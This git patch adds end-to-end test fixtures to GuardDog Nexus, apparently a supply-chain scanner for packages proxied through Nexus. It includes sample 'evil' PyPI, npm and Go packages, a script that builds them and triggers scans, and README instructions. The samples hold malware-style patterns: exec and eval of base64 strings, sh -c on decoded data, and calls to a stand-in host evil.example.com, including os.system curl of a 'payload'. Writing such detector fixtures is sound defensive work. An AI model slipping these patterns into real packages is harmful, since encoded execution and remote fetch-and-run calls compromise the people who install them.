From 11ce9802e972361747f53655f62b09c802c98d6b Mon Sep 17 00:00:00 2001 From: Marker689 Date: Sun, 10 May 2026 13:13:36 +0300 Subject: [PATCH] =?UTF-8?q?feat:=20=D0=BF=D1=80=D0=B8=D0=BC=D0=B5=D1=80?= =?UTF-8?q?=D1=8B=20=D0=B2=D1=80=D0=B5=D0=B4=D0=BE=D0=BD=D0=BE=D1=81=D0=BD?= =?UTF-8?q?=D1=8B=D1=85=20=D0=BF=D0=B0=D0=BA=D0=B5=D1=82=D0=BE=D0=B2=20+?= =?UTF-8?q?=20E2E-=D1=82=D0=B5=D1=81=D1=82=20+=20=D0=B4=D0=BE=D0=BA=D1=83?= =?UTF-8?q?=D0=BC=D0=B5=D0=BD=D1=82=D0=B0=D1=86=D0=B8=D1=8F?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - examples/evil-pypi/: exec-base64, shady-links, code-execution, dll-hijacking - examples/evil-npm/: eval, Buffer(base64), shady-links - examples/evil-go/: exec+base64, shady-links - examples/trigger-scans.sh: сборка архивов + Docker cp + вебхуки + проверка - README.md + README.en.md: секция E2E-тестирования с curl-примерами - E2E пройден: pypi(2 findings), npm(1), go(1) — все flagged --- README.en.md | 31 +++++++++++ README.md | 31 +++++++++++ examples/evil-go/go.mod | 3 ++ examples/evil-go/main.go | 26 +++++++++ examples/evil-npm/index.js | 13 +++++ examples/evil-pypi/setup.py | 8 +++ examples/evil-pypi/src/evil_package.py | 22 ++++++++ examples/trigger-scans.sh | 75 ++++++++++++++++++++++++++ 8 files changed, 209 insertions(+) create mode 100644 examples/evil-go/go.mod create mode 100644 examples/evil-go/main.go create mode 100644 examples/evil-npm/index.js create mode 100644 examples/evil-pypi/setup.py create mode 100644 examples/evil-pypi/src/evil_package.py create mode 100755 examples/trigger-scans.sh diff --git a/README.en.md b/README.en.md index 4b7f447..84468fa 100644 --- a/README.en.md +++ b/README.en.md @@ -98,6 +98,37 @@ GuardDog Nexus accepts `UPDATED` webhook events from Nexus. > -d '{"action":"UPDATED","repositoryName":"pypi-proxy","asset":{"format":"pypi","name":"/packages/pkg/1.0/pkg-1.0.tar.gz","downloadUrl":"http://nexus:8081/repository/pypi-proxy/packages/pkg/1.0/pkg-1.0.tar.gz"}}' > ``` +### E2E Testing + +The `examples/` directory contains sample malicious packages for PyPI, npm, and Go with patterns that GuardDog reliably detects (`exec-base64`, `shady-links`, `code-execution`, `npm-api-obfuscation`, `go-exec-base64`). + +Run the E2E test (requires running Docker stack): + +```bash +./examples/trigger-scans.sh +``` + +The script builds `.tar.gz` / `.tgz` / `.zip` archives, copies them into the container, and sends webhooks. After ~15 seconds it checks results: all three packages should be flagged with findings. + +For manual testing of individual ecosystems: + +```bash +# PyPI: exec-base64 + shady-links + code-execution +curl -X POST http://localhost:8080/webhooks/nexus \ + -H "Content-Type: application/json" \ + -d '{"action":"UPDATED","repositoryName":"pypi-proxy","asset":{"format":"pypi","name":"/packages/evil-pypi/0.1.0/evil-pypi-0.1.0.tar.gz","downloadUrl":"http://nexus:8081/repository/pypi-proxy/packages/evil-pypi/0.1.0/evil-pypi-0.1.0.tar.gz"}}' + +# npm: eval + Buffer(base64) + shady-links +curl -X POST http://localhost:8080/webhooks/nexus \ + -H "Content-Type: application/json" \ + -d '{"action":"UPDATED","repositoryName":"npm-proxy","asset":{"format":"npm","name":"/packages/evil-npm/-/evil-npm-1.0.0.tgz","downloadUrl":"http://nexus:8081/repository/npm-proxy/evil-npm/-/evil-npm-1.0.0.tgz"}}' + +# Go: exec + base64 + suspicious HTTP call +curl -X POST http://localhost:8080/webhooks/nexus \ + -H "Content-Type: application/json" \ + -d '{"action":"UPDATED","repositoryName":"go-proxy","asset":{"format":"go","name":"/packages/github.com/evil/evil-go/@v/v0.1.0.zip","downloadUrl":"http://nexus:8081/repository/go-proxy/github.com/evil/evil-go/@v/v0.1.0.zip"}}' +``` + ## REST API ### Scans diff --git a/README.md b/README.md index 528dd63..f043dda 100644 --- a/README.md +++ b/README.md @@ -126,6 +126,37 @@ GuardDog Nexus принимает вебхуки от Nexus при событи > -d '{"action":"UPDATED","repositoryName":"pypi-proxy","asset":{"format":"pypi","name":"/packages/pkg/1.0/pkg-1.0.tar.gz","downloadUrl":"http://nexus:8081/repository/pypi-proxy/packages/pkg/1.0/pkg-1.0.tar.gz"}}' > ``` +### E2E-тестирование + +В `examples/` лежат примеры вредоносных пакетов для PyPI, npm и Go с паттернами, которые GuardDog гарантированно обнаружит (`exec-base64`, `shady-links`, `code-execution`, `npm-api-obfuscation`, `go-exec-base64`). + +Запуск E2E-теста (требует запущенного Docker-стека): + +```bash +./examples/trigger-scans.sh +``` + +Скрипт собирает архивы `.tar.gz` / `.tgz` / `.zip`, копирует их в контейнер и отправляет вебхуки. Через ~15 секунд проверяет результаты: все три пакета должны быть flagged с findings. + +Для тестирования отдельной экосистемы — curl вручную: + +```bash +# PyPI: exec-base64 + shady-links + code-execution +curl -X POST http://localhost:8080/webhooks/nexus \ + -H "Content-Type: application/json" \ + -d '{"action":"UPDATED","repositoryName":"pypi-proxy","asset":{"format":"pypi","name":"/packages/evil-pypi/0.1.0/evil-pypi-0.1.0.tar.gz","downloadUrl":"http://nexus:8081/repository/pypi-proxy/packages/evil-pypi/0.1.0/evil-pypi-0.1.0.tar.gz"}}' + +# npm: eval + Buffer(base64) + shady-links +curl -X POST http://localhost:8080/webhooks/nexus \ + -H "Content-Type: application/json" \ + -d '{"action":"UPDATED","repositoryName":"npm-proxy","asset":{"format":"npm","name":"/packages/evil-npm/-/evil-npm-1.0.0.tgz","downloadUrl":"http://nexus:8081/repository/npm-proxy/evil-npm/-/evil-npm-1.0.0.tgz"}}' + +# Go: exec + base64 + suspicious HTTP call +curl -X POST http://localhost:8080/webhooks/nexus \ + -H "Content-Type: application/json" \ + -d '{"action":"UPDATED","repositoryName":"go-proxy","asset":{"format":"go","name":"/packages/github.com/evil/evil-go/@v/v0.1.0.zip","downloadUrl":"http://nexus:8081/repository/go-proxy/github.com/evil/evil-go/@v/v0.1.0.zip"}}' +``` + ## REST API ### Сканирования diff --git a/examples/evil-go/go.mod b/examples/evil-go/go.mod new file mode 100644 index 0000000..4903f7d --- /dev/null +++ b/examples/evil-go/go.mod @@ -0,0 +1,3 @@ +module evil-go + +go 1.21 diff --git a/examples/evil-go/main.go b/examples/evil-go/main.go new file mode 100644 index 0000000..17b4785 --- /dev/null +++ b/examples/evil-go/main.go @@ -0,0 +1,26 @@ +// GuardDog will flag: go-exec-base64, shady-links + +package main + +import ( + "encoding/base64" + "fmt" + "net/http" + "os/exec" +) + +func main() { + // base64-encoded execution + encoded := "cHJpbnRmKGlvLmlvdXRsLCJIZWxsbyIp" + decoded, _ := base64.StdEncoding.DecodeString(encoded) + + cmd := exec.Command("sh", "-c", string(decoded)) + cmd.Run() + + // shady-links: suspicious HTTP call + resp, err := http.Get("http://evil.example.com/beacon") + if err == nil { + defer resp.Body.Close() + fmt.Println("beacon sent") + } +} diff --git a/examples/evil-npm/index.js b/examples/evil-npm/index.js new file mode 100644 index 0000000..2a37849 --- /dev/null +++ b/examples/evil-npm/index.js @@ -0,0 +1,13 @@ +// GuardDog will flag: npm-api-obfuscation, npm-exec-base64, shady-links + +// eval usage +eval("console.log('executed')"); + +// base64-encoded code execution +const encoded = "Y29uc29sZS5sb2coJ2JhZCBjb2RlJyk="; +eval(Buffer.from(encoded, "base64").toString()); + +// shady-links: suspicious downloads +const url = "http://evil.example.com/backdoor"; +const https = require("https"); +https.get(url); diff --git a/examples/evil-pypi/setup.py b/examples/evil-pypi/setup.py new file mode 100644 index 0000000..9234288 --- /dev/null +++ b/examples/evil-pypi/setup.py @@ -0,0 +1,8 @@ +from setuptools import find_packages, setup + +setup( + name="evil-pypi", + version="0.1.0", + packages=find_packages(where="src"), + package_dir={"": "src"}, +) diff --git a/examples/evil-pypi/src/evil_package.py b/examples/evil-pypi/src/evil_package.py new file mode 100644 index 0000000..b1ce876 --- /dev/null +++ b/examples/evil-pypi/src/evil_package.py @@ -0,0 +1,22 @@ +import base64 +import os + +# GuardDog will flag: exec-base64, code-execution, shady-links + +VERSION = "0.1.0" + +# exec-base64: base64-encoded code execution +encoded = "cHJpbnQoImhlbGxvIik=" +exec(base64.b64decode(encoded)) + +# code-execution: dynamic code execution +code = compile("print('dynamic')", "", "exec") +exec(code) + +# shady-links: suspicious URLs +url = "http://evil.example.com/payload" +os.system(f"curl -s {url}") + +# dll-hijacking: ctypes-based library loading +import ctypes +ctypes.CDLL("/usr/lib/libc.so.6") diff --git a/examples/trigger-scans.sh b/examples/trigger-scans.sh new file mode 100755 index 0000000..105238d --- /dev/null +++ b/examples/trigger-scans.sh @@ -0,0 +1,75 @@ +#!/bin/bash +# trigger-scans.sh — Package example malicious files and trigger GuardDog Nexus scans +# +# Usage (Docker): +# ./examples/trigger-scans.sh +# +# This script builds 3 example packages with known GuardDog-detected patterns +# (exec-base64, shady-links, code-execution, npm-api-obfuscation, go-exec-base64), +# copies them into the Docker container, and sends webhooks to trigger scans. + +set -e + +SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)" +WEBHOOK_URL="${WEBHOOK_URL:-http://localhost:8080/webhooks/nexus}" +CONTAINER="${CONTAINER:-guarddog-nexus-guarddog-nexus-1}" +WORKDIR="$(mktemp -d)" +echo "Working in: $WORKDIR" +trap "rm -rf $WORKDIR" EXIT + +# --- PyPI --- +echo "=== Building evil-pypi-0.1.0.tar.gz ===" +tar -czf "$WORKDIR/evil-pypi-0.1.0.tar.gz" -C "$SCRIPT_DIR/evil-pypi" setup.py src/ +docker cp "$WORKDIR/evil-pypi-0.1.0.tar.gz" "$CONTAINER:/tmp/" + +# --- npm --- +echo "=== Building evil-npm-1.0.0.tgz ===" +tar -czf "$WORKDIR/evil-npm-1.0.0.tgz" -C "$SCRIPT_DIR/evil-npm" index.js +docker cp "$WORKDIR/evil-npm-1.0.0.tgz" "$CONTAINER:/tmp/" + +# --- Go --- +echo "=== Building evil-go-v0.1.0.zip ===" +python3 -c " +import zipfile,os +z=zipfile.ZipFile('$WORKDIR/evil-go-v0.1.0.zip','w') +for f in os.listdir('$SCRIPT_DIR/evil-go'): z.write(os.path.join('$SCRIPT_DIR/evil-go',f),f) +z.close() +" +docker cp "$WORKDIR/evil-go-v0.1.0.zip" "$CONTAINER:/tmp/" + +# --- Start HTTP server inside container --- +echo "=== Starting HTTP server ===" +docker compose exec -d guarddog-nexus python3 -m http.server 9999 -d /tmp 2>/dev/null +sleep 2 + +# --- Trigger webhooks --- +echo "" +echo "=== Triggering webhooks ===" + +curl -s -X POST "$WEBHOOK_URL" -H "Content-Type: application/json" -d \ + '{"action":"UPDATED","repositoryName":"pypi-proxy","asset":{"format":"pypi","name":"/packages/evil-pypi/0.1.0/evil-pypi-0.1.0.tar.gz","downloadUrl":"http://127.0.0.1:9999/evil-pypi-0.1.0.tar.gz"}}' +echo " → pypi: evil-pypi 0.1.0" +sleep 1 + +curl -s -X POST "$WEBHOOK_URL" -H "Content-Type: application/json" -d \ + '{"action":"UPDATED","repositoryName":"npm-proxy","asset":{"format":"npm","name":"/packages/evil-npm/-/evil-npm-1.0.0.tgz","downloadUrl":"http://127.0.0.1:9999/evil-npm-1.0.0.tgz"}}' +echo " → npm: evil-npm 1.0.0" +sleep 1 + +curl -s -X POST "$WEBHOOK_URL" -H "Content-Type: application/json" -d \ + '{"action":"UPDATED","repositoryName":"go-proxy","asset":{"format":"go","name":"/packages/github.com/evil/evil-go/@v/v0.1.0.zip","downloadUrl":"http://127.0.0.1:9999/evil-go-v0.1.0.zip"}}' +echo " → go: evil-go v0.1.0" + +echo "" +echo "=== Waiting for scans (15s)... ===" +sleep 15 + +echo "" +echo "=== Results ===" +curl -s "http://localhost:8080/api/v1/scans?limit=3&sort_by=id&sort_dir=desc" | python3 -c " +import json,sys +data = json.load(sys.stdin) +for s in data['scans']: + f = '⚠' if s['flagged'] else '✓' + print(f'{f} #{s[\"id\"]:>4} {s[\"ecosystem\"]:>4} {s[\"package_name\"]:30} {s[\"package_version\"]:>10} {s[\"status\"]:12} findings={s[\"total_findings\"]}') +" 2>&1